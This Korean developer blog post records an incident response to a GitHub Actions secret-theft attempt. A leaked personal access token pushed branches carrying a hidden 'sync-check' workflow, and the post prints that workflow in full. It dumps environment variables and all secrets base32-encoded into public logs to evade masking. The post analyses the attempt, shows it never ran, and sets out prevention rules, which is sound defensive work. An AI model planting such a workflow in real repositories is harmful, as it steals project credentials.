[서버 개발 일지 #18] 저장소 내 보안 이슈

KimGwangmin·2026년 10월 26일

이번 글은 설계나 구현이 아니라 보안 사고 대응 기록이다. 배포를 준비하던 중, 팀원 한 명의 GitHub 활동 기록에 본인도 모르는 브랜치 생성과 푸시가 계속 나타나는 것을 발견했다. 따라가 보니 저장소에는 우리가 만들지 않은 시크릿 탈취용 워크플로(sync-check)가 심어져 있었다. 이 글은 발견부터 확인, 분석, 조치까지를 실제로 진행한 순서대로 정리하고, 마지막에 이런 일을 일반적으로 예방하기 위한 규칙을 남긴다. 이 작업에서 나오는 개념(개인 액세스 토큰, 조직 권한, OIDC 신뢰 정책, CloudTrail 등)은 처음 겪는 것이 많아서 왜 그렇게 판단했는지를 같이 적는다.

상태 메모: 이 글을 쓰는 시점에 시크릿 탈취는 성공하지 않은 것으로 확인했다(워크플로가 실행되지 않았고, AWS 역할도 한 번도 쓰이지 않았다). 다만 토큰이 어떻게 유출됐는지(근본 원인)는 아직 모른다. 팀원의 PC 점검과 토큰 폐기 확인이 끝나지 않았고, 그 결과는 확인되는 대로 이 글에 덧붙인다.

이 글(과 저장소)은 공개라서 계정 ID, 역할 ARN, 인스턴스 ID, 조직·저장소 이름과 ID, 팀원의 GitHub 계정은 <계정ID>, <조직>, <저장소>, 팀원 A 같은 자리표시자로 적는다. 실제 값은 저장소 밖에서 관리한다.

1. 문제 상황

본인도 모르는 활동이 계속 나타남

팀원 A의 GitHub 활동(Activity) 화면에 이런 항목이 반복해서 나타났다. 팀원 A는 이런 작업을 한 적이 없다고 했다.

항목내용
브랜치 이름ci-sync- 뒤에 임의의 문자열(ci-sync-m5k1yk 등). 사람이 짓는 이름이 아니다
커밋 메시지항상 ci: sync config
동작팀의 main 최신 커밋에서 브랜치를 만들고, 커밋 1개를 푸시
시기10월 16일부터 19일까지 5번(조사하던 시점에도 약 1시간 전에 한 번 더 있었다)
행위자모두 팀원 A의 계정

처음 든 의문

  • 브랜치가 PR 병합 직후의 main 커밋에서 갈라져 있어서, 처음에는 PR 병합에 반응하는 자동화처럼 보였다. 그런데 같은 병합 커밋에서 11시간 간격으로 두 번 만들어진 경우도 있어서(병합과 무관한 시각), 병합에 묶인 동작은 아니었다.
  • 시각이 불규칙하다. 서버 쪽 정해진 자동화라기보다 누군가 또는 어떤 프로그램이 틈틈이 토큰을 쓰는 모습에 가까웠다.

2. 1차 분석: 누구의 권한으로 한 일인가

GITHUB_TOKEN이면 행위자가 달라진다

GitHub Actions가 기본으로 쓰는 GITHUB_TOKEN으로 푸시하면 활동 기록의 행위자는 github-actions[bot]으로 나온다. 그런데 이 기록은 팀원 A 본인의 이름이었다. 가능성은 둘이다.

가능성설명
팀원 A의 개인 액세스 토큰(PAT) 이 쓰이고 있다PAT는 비밀번호 대신 쓰는 열쇠다. 이것이 유출되어 다른 곳에서 쓰이면, GitHub는 그 소유자가 한 일로 기록한다
팀원 A의 PC에서 본인 인증 상태로 도는 프로그램이 한다로그인된 git/gh를 악용하는 경우

둘 다 팀원 A의 자격이 새고 있다는 결론은 같다. 이 시점에 이미 단순한 설정 실수가 아니라 보안 사고로 보고 움직이기로 했다.

3. 임시 조치: 팀원 A의 쓰기 권한 제거

우리 조직은 멤버에게 기본으로 쓰기 권한(Base permission: Write)을 준다. 그런데 GitHub에는 기본 권한보다 특정 멤버만 낮추는 설정이 없다. 개인 권한은 기본보다 높게만 줄 수 있다. 선택지는 둘이었다.

방법내용비고
A. outside collaborator로 전환멤버에서 외부 협업자로 바꾸고 저장소 권한을 별도로 준다. 기본 권한이 적용되지 않는다빠르다. 필요하면 다시 초대하면 된다
B. 기본 권한을 Read로 낮추고 필요한 사람에게 팀으로 Write를 준다구조는 깔끔하다모든 멤버의 쓰기가 일단 사라져서 사전 준비가 필요하다

급한 상황이라 A를 택했다. 팀원 A를 outside collaborator로 내보냈다.

주의: 쓰기 권한을 빼는 것은 유출된 토큰을 막는 일의 일부일 뿐이다. 토큰은 소유자의 권한 범위 안에서만 동작하므로 쓰기가 막히면 푸시는 안 되지만, 읽기는 여전히 가능하다. 토큰 자체를 폐기해야 끝난다(8장).

4. 심어진 워크플로 발견: sync-check

Actions 탭에서 모르는 워크플로가 보임

저장소의 Actions 탭 사이드바에 Code style, Deploy, Identifier check, Tests 말고 sync-check가 있었다. 두 저장소(서버, 클라이언트) 모두 마찬가지였다. 그런데 .github/workflows/에는 이 파일이 없었다.

파일이 없는데 목록에 보이는 이유는 두 가지다.

  1. 기본 브랜치가 아닌 다른 브랜치(여기서는 ci-sync-*)에 파일이 있다.
  2. 파일은 지워졌지만 과거 실행 기록이 남아 있다.

ci-sync-* 브랜치의 커밋이 이 워크플로 파일을 추가하는 것이었고, 워크플로는 on: push라서 브랜치를 푸시하는 순간 실행되도록 되어 있었다. 기본 브랜치에는 파일이 없으니 main만 보는 코드 리뷰에서는 눈에 띄지 않는다.

언제 어떻게 생겼는지 확인한 방법

확인방법
실행 이력Actions → sync-check: 실행한 브랜치, 이벤트, 행위자, 시각
워크플로 파일 목록과 생성 시각gh api repos/<조직>/<저장소>/actions/workflows
모든 브랜치의 워크플로 파일 이력git log --all --full-history --name-status -- ".github/workflows/*"
원격 브랜치 목록git ls-remote --heads origin
최근 이벤트(브랜치 생성/삭제)gh api repos/<조직>/<저장소>/events (최근 90일)
감사 로그조직 Settings → Audit log (플랜에 따라 토큰 종류, IP까지)

증거는 삭제하기 전에 먼저 보존한다. 파일 내용, 커밋 해시, 실행 로그를 저장해 두고 나서 지워야 한다.

5. 워크플로 분석

실제 파일 내용은 다음과 같았다.

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120
부분의미
on: [push]어떤 브랜치든 푸시되면 실행. 공격자가 브랜치 하나 만들어 푸시하는 것만으로 돈다
toJSON(secrets)이 저장소가 접근할 수 있는 모든 저장소·조직 시크릿을 JSON으로 만든다. GITHUB_TOKEN도 포함된다
env러너의 환경변수도 함께 내보낸다
base32GitHub는 로그에서 시크릿 값을 ***로 가려 주는데, 인코딩하면 가려지지 않는다. 가림을 우회하려는 장치다
permissions: {}GITHUB_TOKEN의 권한만 줄일 뿐, 시크릿 노출은 막지 못한다. 그럴듯해 보이게 하는 장식에 가깝다

유출 경로는 로그다. 이 저장소의 Actions 로그는 공개라서, 탈취한 토큰이 없어도 인코딩된 로그를 읽고 디코딩할 수 있다. 그리고 쓰기 권한만 있으면 누구나 저장소 시크릿을 읽는 워크플로를 만들 수 있다는 점이 이 공격이 성립하는 구조적 이유다.

6. 실제로 실행됐는가: 노출 범위 확인

6.1 실행 기록: 한 번도 실행되지 않았다

sync-check의 5번 실행이 모두 Action required 상태였다.

  • 소요 시간이 –이고, sync 잡이 시작되지 않았다.
  • 화면에 "GitHub detected that this workflow file may be malicious. It will not run until someone with write access approves it." 라는 경고가 있었다. GitHub가 악성으로 탐지해 승인 전까지 실행을 막은 것이다.
  • 승인 버튼(Approve and run)은 누르지 않았다. 누르면 그때부터 시크릿이 로그로 나간다.

즉 5번 모두 워크플로의 내용이 한 번도 실행되지 않았고, 로그에 시크릿이 찍힌 일도 없다.

6.2 어떤 시크릿이 있었나

toJSON(secrets)에 들어가는 범위와 확인 결과는 다음과 같다.

종류toJSON(secrets)에 포함확인 결과
저장소 시크릿포함0개 (gh secret list --repo ...: 두 저장소 모두 "no secrets found")
조직 시크릿이 저장소에 공유된 것만 포함0개 (설정한 적 없음. 확인 위치는 조직 Settings → Secrets and variables → Actions. CLI는 owner 권한과 admin:org 스코프가 필요해 403이 났다)
Environment 시크릿미포함 (잡에 environment:를 선언해야 주입됨)서버 저장소 production 환경에 2개(역할 ARN, 인스턴스 ID)

sync-check.yml에는 environment:가 없어서 Environment 시크릿은 원래 노출되지 않는다. 그리고 실행 자체도 되지 않았다.

7. 남은 위험: AWS 역할은 안전한가

시크릿 값을 읽지 못해도, 토큰의 sub 클레임만 맞으면 시크릿 없이 AWS 역할을 가정할 수 있는 경우가 있다. 그래서 두 가지를 확인했다.

7.1 신뢰 정책이 느슨한가

배포용 역할(blackhole-github-deploy)의 신뢰 정책은 sub를 StringEquals로 ...:environment:production 하나에 고정한 것이었다(104편). 와일드카드가 있으면 아무 브랜치의 워크플로나 역할을 쓸 수 있지만, 이 정책은 production 환경을 통과한 잡만 허용한다. 그 환경은 배포 가능한 브랜치가 main뿐이고 승인자가 필요하다.

7.2 실제로 가정된 적이 있는가: CloudTrail

CloudTrail의 AssumeRoleWithWebIdentity 기록을 조회했다. 처음 실행하니 리전이 없다는 에러가 났다.

aws: [ERROR]: An error occurred (NoRegion): You must specify a region.

CloudTrail 조회는 리전별이라서 --region이 필요하다. EC2가 있는 리전(ap-northeast-2)과 STS 글로벌 엔드포인트 호출이 기록되는 us-east-1을 각각 조회했다.

aws cloudtrail lookup-events --region ap-northeast-2 `
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity `
  --start-time 2026-10-15T00:00:00Z --max-results 50 --output json `
  | ConvertFrom-Json | ForEach-Object Events | ForEach-Object {
      $e = $_.CloudTrailEvent | ConvertFrom-Json
      [pscustomobject]@{ Time = $_.EventTime; IP = $e.sourceIPAddress; Who = $e.userIdentity.userName }
    }
리전결과
us-east-1한 건도 없음
ap-northeast-212건, 모두 같은 시각대(오늘 15:46~15:48)와 같은 IP
  • 12건의 sub는 모두 repo:<조직>@<조직ID>/<저장소>@<저장소ID>:environment:production이었다. 이 시각은 내가 승인해서 시도한 배포와 일치했다. main 병합 후 자동 배포를 승인했던 때다.
  • 한 시각대에 12건이 몰린 이유는 아래 7.3의 재시도다.
  • 이 외 시각의 기록은 없었고, sub에 ci-sync-* 같은 낯선 브랜치가 나타난 기록도 없었다.

7.3 배포가 실패했던 이유와 함께 확인된 것

그 배포는 실제로 실패했다. 로그에 "Assuming role with OIDC"가 12번 반복되고 마지막에 이렇게 끝났다.

Error: Could not assume role with OIDC: Not authorized to perform sts:AssumeRoleWithWebIdentity

configure-aws-credentials가 실패하면 여러 번 재시도하는데, 그 12번이 CloudTrail의 12건과 일치한다. 12건 모두 실패한 호출이었다. 추가로 역할의 마지막 사용 기록을 확인했다.

aws iam get-role --role-name blackhole-github-deploy --query Role.RoleLastUsed

결과가 비어 있었다. 콘솔의 역할 목록에서도 이 역할의 "마지막 활동"이 -였다. 이 역할은 한 번도 성공적으로 가정된 적이 없다. 같은 목록의 다른 역할(blackhole-ec2-role 등)은 EC2 서비스가 쓰는 역할이라 정상 사용 기록이다.

7.4 배포 실패의 원인: 104편이 예상했던 첫 번째 실패

CloudTrail에 찍힌 sub의 모양이 신뢰 정책에 쓴 값과 달랐다. 104편에서 정리한 "예상되는 실패" 중 첫 줄(sub 불일치)이 그대로 일어난 것이다.

형식
신뢰 정책에 쓴 값repo:<조직>/<저장소>:environment:production
실제 토큰의 subrepo:<조직>@<조직ID>/<저장소>@<저장소ID>:environment:production

sub에 조직과 저장소의 숫자 ID가 들어가는 커스텀 subject 형식이 쓰이고 있었다(조직 또는 저장소의 OIDC 설정). 신뢰 정책을 실제 sub와 정확히 일치시켜야 한다. 와일드카드로 풀면 안 된다.

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:<조직>@<조직ID>/<저장소>@<저장소ID>:environment:production"
  }
}

이 수정과 재배포는 이 글의 범위가 아니라 배포 쪽 작업이다. 사고 대응과 우연히 겹쳐 확인된 사항이라 여기에 적어 둔다.

7.5 AWS 쪽 결론

비정상 접근 흔적이 없다. 이유는 셋이다.

  • 악성 워크플로는 실행되지 않았다.
  • 역할은 한 번도 가정되지 않았다.
  • 정상 시도(내 배포)는 실패했고, 그 외 접근은 없다.

8. 조치 정리

구분내용상태
차단sync-check 워크플로 비활성화완료
차단ci-sync-* 브랜치 삭제완료
차단팀원 A를 outside collaborator로 전환(쓰기 권한 제거)완료
차단팀원 A의 PAT, SSH 키, OAuth 앱, gh 세션 폐기확인 필요
원인 조사팀원 A의 PC 점검(악성 패키지, 확장, 예약 작업, 프로세스), 로컬 git 훅미완료
원인 조사감사 로그에서 토큰 종류와 접속 IP 확인미완료
범위 점검조직의 다른 저장소에 sync-check가 없는지 확인확인 필요
정리증거 보존 후 sync-check 실행 기록 삭제확인 필요
정책AWS 역할 신뢰 정책의 sub를 실제 형식에 맞춰 정확히 일치시키기별도 작업

아직 안심할 수 없는 이유: 시크릿이 새지 않은 것과 토큰이 안전해진 것은 다르다. 유출된 PAT가 workflow 권한으로 두 저장소에 푸시할 수 있었다는 것은, 소스 코드를 읽고 다른 저장소에도 접근할 수 있다는 뜻이다. 폐기가 확인되기 전까지는 토큰이 살아 있다고 본다. 또 팀원 PC가 감염됐다면 그 PC에 있던 다른 자격 증명(AWS 키, 레지스트리 토큰 등)도 교체해야 한다.

9. 예방을 위한 규칙

이번 일에서 배운 점을 일반적인 규칙으로 정리한다.

규칙 1: 토큰은 짧고 좁게 쓴다

  • fine-grained PAT를 쓰고, 필요한 저장소와 권한만 준다. 만료 기간을 둔다.
  • workflow 스코프는 정말 필요할 때만 준다. 이 권한이 있어야 워크플로 파일을 푸시할 수 있다.
  • 조직 설정에서 PAT 접근에 승인을 요구하고, 정기적으로 사용 중인 토큰 목록을 점검한다.
  • 개인 PC에 토큰을 평문 파일로 두지 않는다.

규칙 2: 워크플로 파일의 변경을 통제한다

  • 쓰기 권한이 있으면 누구나 브랜치에 워크플로를 만들고 실행할 수 있다. 코드 리뷰가 닿는 기본 브랜치만 보는 것으로는 부족하다.
  • CODEOWNERS에 /.github/를 지정해 워크플로 변경에 리뷰를 요구하고, 브랜치 보호나 Rulesets로 main 직접 푸시를 막는다.
  • 플랜이 지원하면 Rulesets로 .github/workflows/** 변경과 의심스러운 브랜치 이름 패턴의 생성을 제한한다.
  • Actions 설정에서 허용 액션을 제한하고, 기본 GITHUB_TOKEN 권한을 읽기로 둔다.

규칙 3: 시크릿은 "쓰기 권한자가 읽을 수 있다"고 가정한다

  • 저장소 시크릿은 쓰기 권한이 있는 사람이 만든 워크플로가 읽을 수 있다.
  • 중요한 값은 Environment 시크릿에 두고, 배포 가능한 브랜치를 main으로 제한하고, 승인자를 지정한다. 그러면 다른 브랜치의 워크플로는 그 시크릿에 닿지 못한다. 이번에 AWS 쪽이 안전했던 큰 이유다.
  • 조직 시크릿은 필요한 저장소에만 공유한다.
  • 장기 키는 두지 않는다. 우리는 OIDC로 임시 자격 증명을 받는 방식이라 훔쳐 갈 키 자체가 없었다.

규칙 4: OIDC 신뢰 정책은 정확히 일치시킨다

  • sub는 StringEquals로 정확한 값 하나에 묶는다. 와일드카드는 쓰지 않는다.
  • 조직·저장소에 커스텀 sub 형식이 적용되어 있는지 확인하고, 실제 토큰의 값(CloudTrail 기록)과 맞춘다.
  • 권한 정책도 최소로 좁힌다. 신뢰 정책(누가)과 권한 정책(무엇을)을 둘 다 좁게 쓰는 것이 기본이다.

규칙 5: 공개 저장소의 로그는 공개다

  • Actions 로그는 누구나 읽는다. 시크릿 가림(마스킹)은 값이 그대로 일치할 때만 동작하므로, 인코딩(base64, base32 등)하면 가려지지 않는다.
  • 워크플로에서 시크릿을 echo로 찍거나 set -x로 실행 추적을 켜지 않는다.
  • 외부 입력(PR 제목, 브랜치 이름 등)을 셸에 그대로 넣지 않는다.

규칙 6: 모르는 활동은 바로 알린다

  • GitHub Activity, Actions 실행 목록, 조직 Audit log를 주기적으로 본다. 이번 일도 활동 기록의 낯선 항목에서 시작됐다.
  • 본인이 하지 않은 활동을 발견하면 혼자 판단하지 말고 즉시 팀에 알린다.
  • GitHub 계정에는 2단계 인증을 켜고, 이메일 알림(새 브랜치 생성, 로그인 등)을 확인한다.

규칙 7: 개발 PC도 공격 경로다

  • 토큰이 새는 흔한 경로는 악성 패키지(npm, Unity 패키지), 수상한 VS Code 확장, 출처 불명의 스크립트다.
  • 새 의존성은 이름, 배포자, 다운로드 수를 보고 설치한다. 설치 스크립트가 도는 패키지에는 특히 주의한다.
  • 감염이 의심되면 토큰 폐기가 먼저, PC 점검이 그다음, 그 뒤에 새 토큰으로 로그인한다. 순서가 바뀌면 새 토큰도 유출된다.

사고가 났을 때의 순서

순서할 일이번 일에서
1증거 보존 (파일, 로그, 커밋 해시)워크플로 내용과 실행 목록 저장
2차단 (워크플로 비활성화, 브랜치 삭제, 권한 제거, 토큰 폐기)1~3은 완료, 토큰 폐기는 확인 필요
3범위 파악 (실행 여부, 시크릿 종류, 감사 로그, 클라우드 접근 기록)실행 안 됨, 시크릿 0개, AWS 기록 없음
4교체 (노출됐을 수 있는 시크릿, 자격 증명)이번에는 노출 증거가 없어 보류. 토큰은 폐기
5근본 원인 (토큰이 어떻게 새었나)조사 중
6재발 방지 (위 규칙 1~7)설정 반영 예정

승인 버튼을 누르지 않는다. "Approve and run"이 있는 악성 워크플로를 실수로 승인하면 그때부터 노출이 시작된다.

10. 정리

문제원인예방
본인이 모르는 브랜치 생성, 푸시팀원 A의 토큰이 외부에서 쓰이고 있었음(원인은 조사 중)토큰의 범위, 기간을 좁게, 정기 점검
눈에 띄지 않는 워크플로기본 브랜치가 아닌 ci-sync-* 브랜치에만 존재.github/ 변경 리뷰, 브랜치 규칙
시크릿 탈취 시도toJSON(secrets)를 인코딩해 로그로 내보냄Environment 시크릿 + 배포 브랜치 제한, 로그는 공개라고 가정
피해가 없었던 이유GitHub의 악성 탐지(실행 차단), 저장소 시크릿 0개, OIDC 임시 자격장기 키를 두지 않는다
AWS 역할 가정 12건정상 배포 시도의 재시도. sub 형식 불일치로 실패신뢰 정책을 실제 sub에 정확히 일치
  • 권한 제거와 토큰 폐기는 다른 일이다. 쓰기를 막아도 읽기는 남고, 토큰이 살아 있으면 계속 위험하다.
  • 쓰기 권한은 시크릿 읽기 권한과 거의 같다. 시크릿을 어디에 두고 누가 쓸 수 있게 할지를 먼저 설계해야 한다. Environment의 브랜치 제한과 승인자가 마지막 방어선이었다.
  • "실행되지 않았다"와 "안전하다"를 구분한다. 이번 시도는 GitHub의 탐지로 막혔지만, 공격자의 토큰이 살아 있으면 다음에는 다른 방법을 쓸 수 있다. 근본 원인을 찾을 때까지는 끝난 일이 아니다.
  • 확인할 때는 리전, 시크릿의 종류(저장소, 조직, 환경), 로그의 시각대처럼 범위를 하나씩 좁혔다. 한 번에 "안전하다"고 결론 내리지 않고, 가능한 경로를 하나씩 닫으며 확인한 것이 도움이 됐다.

남은 것

  • 팀원 A의 PAT, SSH 키, OAuth 앱, gh 세션 폐기를 확인한다. PC 점검이 끝나기 전에는 새 토큰으로 로그인하지 않는다.
  • 팀원 A의 PC를 점검하고 토큰이 새어 나간 경로를 찾는다. 결과를 이 글에 덧붙인다.
  • 조직의 모든 저장소에서 sync-check 같은 낯선 워크플로가 있는지 확인한다.
  • 감사 로그에서 토큰 종류와 접속 IP를 확인한다.
  • .github/ 변경에 CODEOWNERS 리뷰를 걸고, PAT 승인 요구 등 위의 예방 규칙을 설정에 반영한다. 협업 규칙 문서(CONTRIBUTING.md)에도 반영한다.
  • AWS 역할 신뢰 정책의 sub를 실제 형식에 맞춰 수정하고, 배포를 다시 시도한다(배포 쪽 작업).

0개의 댓글